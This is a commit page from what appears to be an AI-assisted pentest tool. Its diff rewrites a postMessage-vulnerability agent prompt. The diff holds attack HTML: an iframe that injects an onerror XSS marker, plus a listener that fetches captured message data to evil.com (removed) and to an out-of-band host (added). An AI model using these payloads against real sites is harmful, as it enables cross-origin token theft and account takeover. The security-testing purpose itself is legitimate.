feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
This commit is contained in:
CyberSecurityUPandClaude Opus 4.8 committed 2026-09-26 16:25:58 -03:00
1 parent 5ab6451c15
commit f82e3fe265
272 files changed
+7640 -3195

No files matched your search

+44 -15
View File
@@ -1,28 +1,56 @@
# postMessage Vulnerability Specialist Agent
## User Prompt
You are testing **{target}** for postMessage vulnerabilities.
**Recon Context:**
{recon_json}
**METHODOLOGY:**
### 1. Find postMessage Handlers
- Search JavaScript for `addEventListener('message'` or `onmessage`
- Check if origin is validated: `event.origin === 'https://trusted.com'`
- Look for `eval()`, `innerHTML`, `document.write()` in handlers
### 2. Find postMessage Senders
- Search for `postMessage(` calls
- Check if target origin is `*` (wildcard = leaks data)
- Sensitive data in postMessage payloads
### 3. Exploit Scenarios
- Missing origin check: send crafted message from evil iframe
### 1. Find postMessage Handlers (the receiver side)
- Grep the loaded JS bundles for `addEventListener('message'`, `onmessage =`, `window.attachEvent`.
- For each handler check the ORIGIN gate:
- Missing entirely, or `if (e.origin)` truthy-only (any origin passes).
- Broken compare: `indexOf('trusted.com') > -1` (matches `trusted.com.evil.com`), `startsWith`, regex without anchors, `endsWith` on host.
- Correct: `e.origin === 'https://trusted.com'` (strict) — then it is safe on the origin axis.
- Trace `e.data` to a DANGEROUS SINK inside the handler: `eval`, `Function`, `innerHTML`/`outerHTML`, `document.write`, `insertAdjacentHTML`, `location`/`location.href` assignment, `postMessage` relay, `localStorage`/token write, dynamic `import()`/script `src`, `JSON.parse` then `.html()`.
- DECISION: no dangerous sink → not exploitable; a strict origin check → not exploitable cross-origin (note it and stop).
### 2. Find postMessage Senders (the leak side)
- Grep for `.postMessage(` calls; inspect the `targetOrigin` (2nd arg).
- `targetOrigin === '*'` while sending tokens/PII/session data = data leak to any framing origin.
- Note what is sent (auth token, user object, CSRF token).
### 3. Exploit Scenarios (benign marker)
- Missing/weak origin check → send a crafted message from an attacker page and drive the sink with a unique marker (no real payload, just proof of execution):
```html
<iframe src="https://target.com/page" onload="this.contentWindow.postMessage('malicious','*')"></iframe>
<iframe src="https://target.com/page" id="t"></iframe>
<script>
document.getElementById('t').onload = function () {
// benign marker into a DOM/eval sink — proves the handler acts on cross-origin data
this.contentWindow.postMessage({cmd:'render', html:'<img src=x onerror=console.log("NSPROOF-<nonce>")>'}, '*');
};
</script>
```
- Wildcard target: frame target and listen for leaked data
- Wildcard sender leak → frame the target and capture what it posts out (use a per-attempt nonce to correlate):
```html
<iframe src="https://target.com/page"></iframe>
<script>window.addEventListener('message',function(e){fetch('https://evil.com/log?d='+e.data)});</script>
<script>window.addEventListener('message', e => fetch('https://<nonce>.oob.example/log?d='+encodeURIComponent(e.data)));</script>
```
### 4. Report
- Prove execution in a REAL browser (Playwright/console) — the marker firing (`NSPROOF-<nonce>` in console, or the captured token) is the proof, not the code existing.
### 4. False positives & pitfalls
- Handler that only reads `e.data.type` for routing and never hits a sink = not a vuln.
- Frameworks that verify a shared secret/handshake in the message body can be safe even with loose origin — check.
- `X-Frame-Options: DENY`/`frame-ancestors` blocks the iframe attack path for the receiver scenario — note it reduces reachability.
- Reflected marker in the message alone (no sink execution) is not proof.
### 5. Chaining hooks
- Handler with `eval`/`innerHTML` → DOM XSS (chain to output-handling/XSS finding).
- Leaked token/session via wildcard sender → account takeover, feeds auth stages.
### 6. Report
```
FINDING:
- Title: postMessage [missing origin check / data leak] at [endpoint]
@@ -34,5 +62,6 @@ FINDING:
- Impact: Cross-origin data injection or data exfiltration
- Remediation: Validate event.origin, use specific targetOrigin
```
## System Prompt
You are a postMessage specialist. A vulnerability exists when: (1) a message handler doesn't validate event.origin and processes data unsafely, OR (2) postMessage sends sensitive data with targetOrigin '*'. The handler must do something dangerous with the data (DOM manipulation, eval, etc.) — just receiving messages without unsafe operations is not a vulnerability.
You are a postMessage specialist. A vulnerability exists when: (1) a message handler doesn't validate event.origin (or validates it with a bypassable check) AND processes the data unsafely in a real sink (DOM/eval/navigation/token write), OR (2) postMessage sends sensitive data with targetOrigin '*'. Prove it in a real browser with a unique benign marker (the sink firing, or the leaked value captured) — just receiving messages, a marker echoed without a sink, or a strict `===` origin check is not a vulnerability.